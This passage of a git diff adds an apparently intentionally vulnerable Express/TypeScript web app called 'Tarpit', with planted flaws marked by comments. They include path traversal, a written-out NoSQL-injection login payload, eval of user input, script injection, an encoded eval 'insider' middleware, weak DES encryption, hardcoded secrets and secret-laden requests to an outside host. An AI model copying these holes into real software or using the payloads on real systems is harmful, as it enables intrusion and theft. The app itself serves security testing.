+ + "\\d){11}|6[ -]*(?:0[ -]*1[ -]*1|5[ -]*\\d[ -]*\\d)(?:[ -]*" + + "\\d){12}|(?:2[ -]*1[ -]*3[ -]*1|1[ -]*8[ -]*0[ -]*0|3[ -]*5(?:[ -]*" + + "\\d){3})(?:[ -]*\\d){11})\\b"; +const CREDIT_CARD_NUMBER_REGEX = new RegExp(CREDIT_CARD_NUMBER_REGEX_STR); +const CREDIT_CARD_NUMBER_MASK = "**hidden cc data***"; + +const JWT_REGEX_STR = "Bearer [A-Za-z0-9\\-\\._~\\+\\/]+=*"; +const JWT_REGEX = new RegExp(JWT_REGEX_STR); +const JWT_MASK = "xxx.xxx.xxx"; + +const CVV_REGEX_STR = "CVV:[0-9]{3}"; +const CVV_REGEX = new RegExp(CVV_REGEX_STR); +const CVV_MASK = "**hiden cvv**"; + +const allRedactions = [ + { + regex: CREDIT_CARD_NUMBER_REGEX, + mask: CREDIT_CARD_NUMBER_MASK + }, + { + regex: JWT_REGEX, + mask: JWT_MASK + }, + { + regex: CVV_REGEX, + mask: CVV_MASK + } +]; + +const matchToRedact = (str: string, regex: RegExp, mask: string) => { + if (str && str.replace) { + return str.replace(regex, mask); + } + return str; +}; + +export const redact = (str: string) => { + let newStr = str; + for (let index = 0; index < allRedactions.length; index += 1) { + const { regex, mask } = allRedactions[index]; + newStr = matchToRedact(newStr, regex, mask); + } + return newStr; +}; diff --git a/src/Constants/index.ts b/src/Constants/index.ts new file mode 100644 index 00000000..c3c50aad --- /dev/null +++ b/src/Constants/index.ts @@ -0,0 +1,2 @@ +import { redact } from "./Regex"; +export = redact; diff --git a/src/Controllers/ImageLookup.ts b/src/Controllers/ImageLookup.ts new file mode 100644 index 00000000..3442aee0 --- /dev/null +++ b/src/Controllers/ImageLookup.ts @@ -0,0 +1,13 @@ +import fs from "fs"; +import { logger } from "../Logger"; + +export class ImageLookup { + get(req, res) { + /* File Traversal exploit */ + /* Can read any file in the server by passing the filename (image) in the query params */ + /* ex: http GET http://localhost:8089/api/v1/image-lookup image=="package.json" */ + const fileContent = fs.readFileSync(req.query.image).toString(); + logger.debug(fileContent); + res.send(fileContent); + } +} diff --git a/src/Controllers/Login.ts b/src/Controllers/Login.ts new file mode 100644 index 00000000..6e0b42b6 --- /dev/null +++ b/src/Controllers/Login.ts @@ -0,0 +1,97 @@ +const logger = require('../Logger').logger; +const MongoDBClient = require('../DB').MongoDBClient; + +export class Login { + loginFailed(req, res, { username, password, keeponline }) { + res.locals.username = username; + res.locals.password = password; + res.locals.keeponline = keeponline; + res.locals.message = 'Failed to Sign in. Please verify credentials'; + res.redirect('/login'); + } + + encryptData(secretText) { + const crypto = require('crypto'); + + // Weak encryption + const desCipher = crypto.createCipheriv( + 'des', + "This is a simple password, don't guess it" + ); + return desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption + } + + async handleLogin(req, res, client, data) { + const { username, password, keeponline } = data; + try { + // DB Query + const db = client.db('tarpit', { returnNonCachedInstance: true }); + if (!db) { + this.loginFailed(req, res, data); + return; + } + const result = await db.collection('users').findOne({ + username, + password + }); + if (result) { + const user = { + fname: result.fname, + lname: result.lname, + passportnum: result.passportnum, + address1: result.address1, + address2: result.address2, + zipCode: result.zipCode + }; + const creditInfo = this.encryptData(result.creditCard); + logger.info(`user: ${JSON.stringify(user)} successfully logged in`); + logger.info( + `user ${user.fname} credit info: ${JSON.stringify(creditInfo)}` + ); + res.cookie('username', result.username); + res.cookie('maxAge', 864000); + res.cookie('cc', creditInfo); + + req.session.user = JSON.stringify(user); + req.session.username = username; + + res.redirect('/'); + } else { + this.loginFailed(req, res, data); + } + } catch (ex) { + logger.error(ex); + this.loginFailed(req, res, data); + } + } + + login(req, res) { + /* + This can be exploited (similar to SQL Injection) when the request body is + { + "password": { + "$gt": "" + }, + "username": { + "$gt": "" + } + } + */ + const { username, password, encodedPath, keeponline } = req.body; + const data = { username, password, keeponline }; + logger.debug(data); + try { + new MongoDBClient().connect((err, client) => { + if (client) { + this.handleLogin(req, res, client, data); + } else { + console.error(err); + this.loginFailed(req, res, data); + } + }); + } catch (ex) { + logger.error(ex); + this.loginFailed(req, res, data); + } + } +} diff --git a/src/Controllers/Order.ts b/src/Controllers/Order.ts new file mode 100644 index 00000000..1540cc4d --- /dev/null +++ b/src/Controllers/Order.ts @@ -0,0 +1,119 @@ +import crypto from 'crypto'; +import https from 'https'; +import mail from '../Integrations/Mail'; + +const encryptionKey = "This is a simple key, don't guess it"; +export class Order { + hex(key) { + // Hash Key + return key; + } + encryptData(secretText: string) { + // Weak encryption + const desCipher = crypto.createCipheriv('des', encryptionKey, "foo"); + return desCipher.update(secretText, 'utf8', 'hex'); + } + + decryptData(encryptedText: Buffer): string { + const desCipher = crypto.createDecipheriv('des', encryptionKey, "foo"); + return Buffer.from(desCipher.update(encryptedText)).toString(); + } + addToOrder(req, res) { + const order = req.body; + console.log(req.body); + if (req.session.orders) { + const orders = JSON.parse(this.decryptData(req.session.orders)); + order.id = crypto.randomBytes(256).toString('hex'); + orders.push(order); + req.session.orders = this.encryptData(JSON.stringify(orders)); + } + res.send(200); + } + removeOrder(req, res) { + const { orderId } = req.body; + console.log(req.body); + if (req.session.orders) { + const orders = JSON.parse(this.decryptData(req.session.orders)); + const newOrders = orders.filter(order => orderId !== order.orderId); + req.session.orders = this.encryptData(JSON.stringify(newOrders)); + console.log(newOrders); + } + res.send(200); + } + + checkout(req, res) { + if (req.session.orders) { + const orders = JSON.parse(this.decryptData(req.session.orders)); + let totalPrice = 0; + for (let index = 0; index < orders.length; index += 1) { + totalPrice += orders[index].price; + } + this.processCC(req, res, orders, totalPrice); + } + console.log(req.session.orders); + } + + createStripeRequest(creditCard, price, address) { + const STRIPE_CLIENT_ID = 'AKIA2E0A8F3B244C9986'; + const STRIPE_CLIENT_SECRET_KEY = '7CE556A3BC234CC1FF9E8A5C324C0BB70AA21B6D'; + https.request( + `http://invalidstripe.com?STRIPE_CLIENT_ID=${STRIPE_CLIENT_ID}&STRIPE_CLIENT_SECRET_KEY=${STRIPE_CLIENT_SECRET_KEY}&price=${price}&address=${JSON.stringify( + address + )}` + ); + } + + async processCC(req, res, orders, totalPrice) { + try { + const self = this; + new MongoDBClient().connect(async function(err, client) { + const username = req.cookies.username; + const address = req.body.address; + if (client) { + const db = client.db('tarpit', { returnNonCachedInstance: true }); + if (!db) { + throw new Error('DB connection not available'); + return; + } + const result = await db.collection('users').findOne({ + username + }); + const transactionId = crypto.randomBytes(256).toString('hex'); + await db + .collection('orders') + .insertMany(orders.map(order => ({ ...order, transactionId }))); + const transaction = { + transactionId, + date: new Date().valueOf(), + username, + cc: result.creditCard, + shippingAddress: address, + billingAddress: result.address + }; + console.log(transaction); + await db.collection('transactions').insertOne(transaction); + this.createStripeRequest( + result.creditCard, + totalPrice, + transaction.billingAddress + ); + const message = ` + Hello ${username}, + We have processed your order. Please visit the following link to review your order + Review Order + `; + mail.sendMail( + 'orders@tarpit.com', + result.email, + `Order Successfully Processed`, + message + ); + } else { + console.error(err); + } + }); + } catch (ex) { + console.error(ex); + } + } +} diff --git a/src/Controllers/Secured.ts b/src/Controllers/Secured.ts new file mode 100644 index 00000000..0e2dcd06 --- /dev/null +++ b/src/Controllers/Secured.ts @@ -0,0 +1,28 @@ +class SecuredController { + get(req, res) { + if ( + req.session && + req.session.user && + req.session.user.role !== "employee" + ) { + res.set("Content-Type", "text/html"); + console.log(req.session); + + res.render("SecureGet", { + user: req.session.user, + date: new Date().toLocaleDateString() + }); + } else { + console.log("redirect"); + res.locals.error = "Unauthorized"; + res.redirect("/login"); + } + } + + post(req, res) { + console.log("post"); + return this.get(req, res); + } +} + +export = new SecuredController(); diff --git a/src/DB/MongoDBClient.ts b/src/DB/MongoDBClient.ts new file mode 100644 index 00000000..c531b846 --- /dev/null +++ b/src/DB/MongoDBClient.ts @@ -0,0 +1,32 @@ +import { MongoClient, MongoCallback } from 'mongodb'; + +export class MongoDBClient { + url:string; + db:undefined | MongoClient; + constructor(host = 'tarpit_mongo_1', port = '27017') { + this.url = `mongodb://${host}:${port}`; + this.db = undefined; + } + connect(callback: MongoCallback) { + MongoClient.connect( + this.url, + { + useNewUrlParser: true, + useUnifiedTopology: true, + auth: { user: 'admin', password: 'password' } + }, + (err, db) => { + if (!err) { + console.log('MongoDB Connected'); + this.db = db; + } + callback(err, db); + } + ); + } + close() { + if (this.db) { + this.db.close(); + } + } +} diff --git a/src/DB/index.ts b/src/DB/index.ts new file mode 100644 index 00000000..878bf7c1 --- /dev/null +++ b/src/DB/index.ts @@ -0,0 +1,5 @@ +const MongoDBClient = require("./MongoDBClient"); + +module.exports = { + MongoDBClient +}; diff --git a/src/Integrations/Mail.ts b/src/Integrations/Mail.ts new file mode 100644 index 00000000..a8b1cdb6 --- /dev/null +++ b/src/Integrations/Mail.ts @@ -0,0 +1,48 @@ +import FormData from 'form-data'; +import fs from 'fs'; +import axios, { AxiosInstance } from 'axios'; +class Mail { + axiosClient: AxiosInstance; + constructor( + host = 'https://api.mailgun.net', + domain, + username = 'api', + apiKey + ) { + this.axiosClient = axios.create({ + baseURL: `${host}/v3/${domain}`, + timeout: 120000, + auth: { + username: username, + password: apiKey + } + }); + console.log( + `Connecting to mail host: ${host}:${domain} with login ${username}/${apiKey}` + ); + } + + sendMail(fromAddress, toAddress, subject, msg) { + const formData = new FormData(); + formData.append('msg', msg); + try { + formData.append('package', fs.readFileSync('./package.json')); + } catch (ex) { + console.error(ex); + } + this.axiosClient.post('/message.mime', { + from: fromAddress, + to: toAddress, + subject, + html: formData, + 'o:testmode': true + }); + } +} + +export = new Mail( + process.env.MAIL_GUN_HOST, + process.env.MAIL_GUN_DOMAIN, + process.env.MAIL_GUN_USERNAME, + process.env.MAIL_GUN_API_KEY +); diff --git a/src/Logger/Logger.ts b/src/Logger/Logger.ts new file mode 100644 index 00000000..498c99dd --- /dev/null +++ b/src/Logger/Logger.ts @@ -0,0 +1,22 @@ +import redact from "../Constants"; +export class Logger { + log(str: string) { + console.log(redact(str)); + } + + info(str: string) { + console.info(redact(str)); + } + + debug(str: string) { + console.debug(redact(str)); + } + + error(str: string) { + console.error(redact(str)); + } + + warn(str: string) { + console.warn(redact(str)); + } +} diff --git a/src/Logger/index.ts b/src/Logger/index.ts new file mode 100644 index 00000000..c8c0b09c --- /dev/null +++ b/src/Logger/index.ts @@ -0,0 +1,2 @@ +import { Logger } from "./Logger"; +export const logger = new Logger(); diff --git a/src/Views/Login.pug b/src/Views/Login.pug new file mode 100644 index 00000000..85ae2de5 --- /dev/null +++ b/src/Views/Login.pug @@ -0,0 +1,40 @@ +doctype html +| +| +div(style={ margin: '0 auto'}) + form( + method="POST" + action="/api/v1/login" + style={display: 'flex', 'align-items': 'center', 'flex-direction': 'column'} + ) + h2 Login Form + input( + type="text" + name="username" + placeholder="username" + autocomplete="username" + required + ) + | + | + input( + type="password" + name="password" + placeholder="password" + required + autocomplete="current-password" + ) + | + | + div + label Keep Alive + input( + type="checkbox" + name="keepAlive" + ) + | + | + button( + type="submit" + ) Login + \ No newline at end of file diff --git a/src/Views/SecureGet.pug b/src/Views/SecureGet.pug new file mode 100644 index 00000000..02a657bc --- /dev/null +++ b/src/Views/SecureGet.pug @@ -0,0 +1,9 @@ +doctype html +| +| +div Welcome to the secured page! +div + p User: #{user} + p Date: #{date} + p + a(href='/logout') Logout \ No newline at end of file diff --git a/src/Views/UserInput.pug b/src/Views/UserInput.pug new file mode 100644 index 00000000..10547d94 --- /dev/null +++ b/src/Views/UserInput.pug @@ -0,0 +1,27 @@ +doctype html +| +| +div Welcome to the userInput Vulnerability page! +div + script #{userInput} + p #{userInput} + pre #{result} + p Date: #{date} + div(style={ margin: '0 auto'}) + form( + method="GET" + action="/user-input" + style={display: 'flex', 'align-items': 'center', 'flex-direction': 'column'} + ) + h2 User Input Exploit + input( + type="text" + name="userInput" + placeholder="user input" + required + ) + | + | + button( + type="submit" + ) Send \ No newline at end of file diff --git a/src/api.ts b/src/api.ts new file mode 100644 index 00000000..c3ef60bd --- /dev/null +++ b/src/api.ts @@ -0,0 +1,24 @@ +import { Login } from './Controllers/Login'; +import { Order } from './Controllers/Order'; +import { ImageLookup } from './Controllers/ImageLookup'; + +const login = new Login(); +const imageLookup = new ImageLookup(); + +const API_PREFIX = '/api/v1'; +const order = new Order(); + +export = app => { + app.get(`${API_PREFIX}/image-lookup`, imageLookup.get); + + app.post(`${API_PREFIX}/login`, (req, res) => login.login(req, res)); + app.get(`${API_PREFIX}/logout`, (req, res) => + req.session.destroy(() => res.redirect('/login')) + ); + + app.post(`${API_PREFIX}/order`, (req, res) => order.addToOrder(req, res)); + app.post(`${API_PREFIX}/order/checkout`, (req, res) => + order.checkout(req, res) + ); + app.delete(`${API_PREFIX}/order`, (req, res) => order.removeOrder(req, res)); +}; diff --git a/src/index.ts b/src/index.ts new file mode 100644 index 00000000..830ca495 --- /dev/null +++ b/src/index.ts @@ -0,0 +1 @@ +export = require("./server"); diff --git a/src/server.ts b/src/server.ts new file mode 100644 index 00000000..869e942c --- /dev/null +++ b/src/server.ts @@ -0,0 +1,69 @@ +import express from "express"; + +import cookieParser from 'cookie-parser'; +import bodyParser from 'body-parser'; +import session from 'express-session'; + +const { logger } = require('./Logger'); +import registerApiRoutes from './api'; +import registerViewRoutes from './views'; + +const app: express.Application = express(); +const port = process.env.PORT || 8088; +const SESSION_SECRET_KEY = 'kjhdkd-sjkhsjsh-kjshshkdhsk-jsjhd'; + +const tarpitEnv = { + sessionSecretKey: process.env.SESSION_SECRET_KEY || SESSION_SECRET_KEY, + applicationPort: process.env.PORT || 8088 +}; + +app.set('tarpitEnv', tarpitEnv); + +// Insider attack +const insider = function(req, res, next) { + /* Base64 Encoding of + * console.log(req); + * console.log(req.body); + * console.log(req.query); + */ + const encoded = + 'Y29uc29sZS5sb2cocmVxKTsgY29uc29sZS5sb2cocmVxLmJvZHkpOyBjb25zb2xlLmxvZyhyZXEucXVlcnkpOw=='; + const newBuf = Buffer.from(encoded, 'base64'); + eval(newBuf.toString('utf-8')); + next(); +}; + +app.use(insider); + +app.use(function(err, req, res, next) { + logger.error(err.stack); + res.status(500).send('Something broke!'); +}); + +// parse application/x-www-form-urlencoded +app.use(bodyParser.urlencoded({ extended: false })); + +// parse application/json +app.use(bodyParser.json()); + +app.use(cookieParser()); + +app.use( + session({ + secret: SESSION_SECRET_KEY, + resave: false, + saveUninitialized: false + }) +); + +app.set('view engine', 'pug'); +app.set('views', `./src/Views`); + +registerApiRoutes(app); +registerViewRoutes(app); + +app.listen(port, () => + logger.log( + `Tarpit App listening on port ${port}!. Open url: http://localhost:${port}` + ) +); diff --git a/src/views.ts b/src/views.ts new file mode 100644 index 00000000..0f896f48 --- /dev/null +++ b/src/views.ts @@ -0,0 +1,33 @@ +import secured from './Controllers/Secured'; +import * as express from "express"; + +export = (app:express.Application) => { + // Exploits app Env + app.get('/env', (req, res) => { + console.log(app.get(""+req.query.lookup)); + res.send(app.get(""+req.query.lookup)); + }); + app.get(`/login`, (req, res) => res.render('Login')); + + app.get(`/user-input`, (req, res) => { + /* + User input vulnerability, + if the user passes vulnerable javascipt code, its executed in user's browser + ex: alert('hi') + */ + let result = ''; + try { + result = require('util').inspect(eval(""+req.query.userInput)); + } catch (ex) { + console.error(ex); + } + res.render('UserInput', { + userInput: req.query.userInput, + result, + date: new Date().toUTCString() + }); + }); + + app.get(`/`, secured.get); + app.post(`/`, secured.post); +}; diff --git a/tsconfig.json b/tsconfig.json new file mode 100644 index 00000000..aad77216 --- /dev/null +++ b/tsconfig.json @@ -0,0 +1,31 @@ +{ + "compilerOptions": { + "allowJs": true, + "module": "commonjs", + "skipLibCheck": true, + "target": "es6", + "outDir": "out", + "lib": [ + "dom", + "es6" + ], + "sourceMap": true, + "rootDir": ".", + /* Strict Type-Checking Option */ + "strict": false, /* enable all strict type-checking options */ + /* Additional Checks */ + "noUnusedLocals": false, /* Report errors on unused locals. */ + "noImplicitReturns": false, /* Report error when not all code paths in function return a value. */ + "noFallthroughCasesInSwitch": false, /* Report errors for fallthrough cases in switch statement. */ + "noUnusedParameters": false, /* Report errors on unused parameters. */ + "checkJs": false, + "noImplicitThis": false, + "strictNullChecks": false, + "esModuleInterop": true + }, + "exclude": [ + "node_modules", + "out", + "resources/**" + ] +} \ No newline at end of file diff --git a/tslint.json b/tslint.json new file mode 100644 index 00000000..c9aaf9fd --- /dev/null +++ b/tslint.json @@ -0,0 +1,87 @@ +{ + "rules": { + "curly": true, + "indent": [ + true, + "spaces", + 4 + ], + "new-parens": true, + "no-consecutive-blank-lines": true, + "no-floating-promises": [ + true, + "Thenable" + ], + "no-invalid-this": true, + "no-construct": true, + "no-duplicate-variable": true, + "no-trailing-whitespace": true, + "no-unused-expression-chai": true, + "no-var-keyword": true, + "return-undefined": true, + "one-line": [ + true, + "check-catch", + "check-finally", + "check-else", + "check-open-brace", + "check-whitespace" + ], + "prefer-const": true, + "promise-must-complete": true, + "semicolon": true, + "triple-equals": true, + "type-literal-delimiter": true, + "typedef": [ + true, + "variable-declaration", + "call-signature" + ], + "member-access": [ + true, + "check-constructor" + ], + "no-irregular-whitespace": true, + "typedef-whitespace": [ + true, + { + "call-signature": "nospace", + "index-signature": "nospace", + "parameter": "nospace", + "property-declaration": "nospace", + "variable-declaration": "nospace" + } + ], + "max-classes-per-file": true, + "whitespace": [ + true, + "check-module", + "check-rest-spread", + "check-type-operator", + "check-type-cast", + "check-branch", + "check-operator", + "check-separator", + "check-preblock", + "check-type", + "check-decl" + ], + "no-any": true, + "no-unused-expression": true, + "no-unnecessary-initializer": true, + "await-promise": [ + true, + "Thenable" + ] + }, + "rulesDirectory": [ + "node_modules/tslint-microsoft-contrib", + "node_modules/tslint-no-unused-expression-chai/rules" + ], + "linterOptions": { + "exclude": [ + "node_modules", + "src/test/*" + ] + } +} \ No newline at end of file